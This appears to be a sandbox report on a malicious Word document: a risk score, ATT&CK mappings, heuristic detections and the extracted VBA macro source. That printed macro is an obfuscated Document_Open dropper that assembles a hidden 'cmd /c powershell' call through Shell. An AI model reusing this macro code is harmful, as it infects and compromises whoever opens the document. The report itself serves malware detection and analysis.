MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.003 Windows Command Shell
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute cmd.exe. The script constructs the command 'c:\windows\system32\cmd /c powershell', indicating an intent to download and execute a second-stage payload. The ClamAV detection 'Doc.Dropper.Agent-6836925-0' further supports its malicious nature as a dropper.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6836925-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6836925-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBA
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://www.iec.chIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1977 bytes |
SHA-256: 3d90caa9d010a4697fdc19ce21d58e5391c85c9b7684be71a49fe8eb32a1ddda |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim LnCrUai(6 To 36) As String
LnCrUai(6) = "eNnWbPBhs"
Dim Rs7i4aj8 As Long
Rs7i4aj8 = (16082 - 16081) * (63)
Dim yaZBUDfQ
yaZBUDfQ = r85Rucqw
x
End Sub
Public Sub sh(TFaoiDu As String, t2dIsxY As Integer)
Dim bj9qMtu As Long
bj9qMtu = (-560 + 564) * (45)
Dim JuX6nQC
JuX6nQC = Y7cqHV
Dim xD8ZOE1A As Long
xD8ZOE1A = (-783 + 808) * (18)
End Sub
Attribute VB_Name = "XtMSi"
Sub x()
Dim jYM93p(13 To 163) As Long
jYM93p(13) = 101 + 90
Dim C9fEDh7(13 To 163) As Long
C9fEDh7(13) = 101 + 90
Dim N5Hxom8 As Long
N5Hxom8 = (514 - 495) * (53)
Dim r1qK6 As Long
r1qK6 = (22848 / 714) * (45)
jYIROEq = "c:\\win"
USsv4Y = "dows\\system"
JPUh78d = "32\\cmd /c po"
Dim N5ZCuDvx() As Byte
Dim NXzgSEat
NXzgSEat = CbEtW
Call VBA.Shell(jYIROEq & USsv4Y & JPUh78d & "w" & _
vc4yreGWv, 0)
Dim myML9() As Byte
Dim TS7IjeTc As Long
TS7IjeTc = (1327 - 1315) * (28)
End Sub
Attribute VB_Name = "OsYROMwn"
Public Function a0irpmNWS(FRFjuS3 As Integer)
Dim RjQPwMW2 As Long
RjQPwMW2 = (411 - 385) * (61)
Dim heV7rb As Long
heV7rb = (411 - 385) * (61)
Dim Gu9w8HI As Long
Gu9w8HI = (817 - 786) * (20)
End Function
Attribute VB_Name = "IajSGN9"
Public Function vc4yreGWv()
Dim IveQY As Object
Set IveQY = New f
Dim QgAEvSHP As String
QgAEvSHP = IveQY.de.Text
vc4yreGWv = QgAEvSHP
End Function
Attribute VB_Name = "f"
Attribute VB_Base = "0{188C7099-D740-4A74-9BAC-5D759BC91D26}{7AC613A7-6602-4B77-A99E-792CF9E727F0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.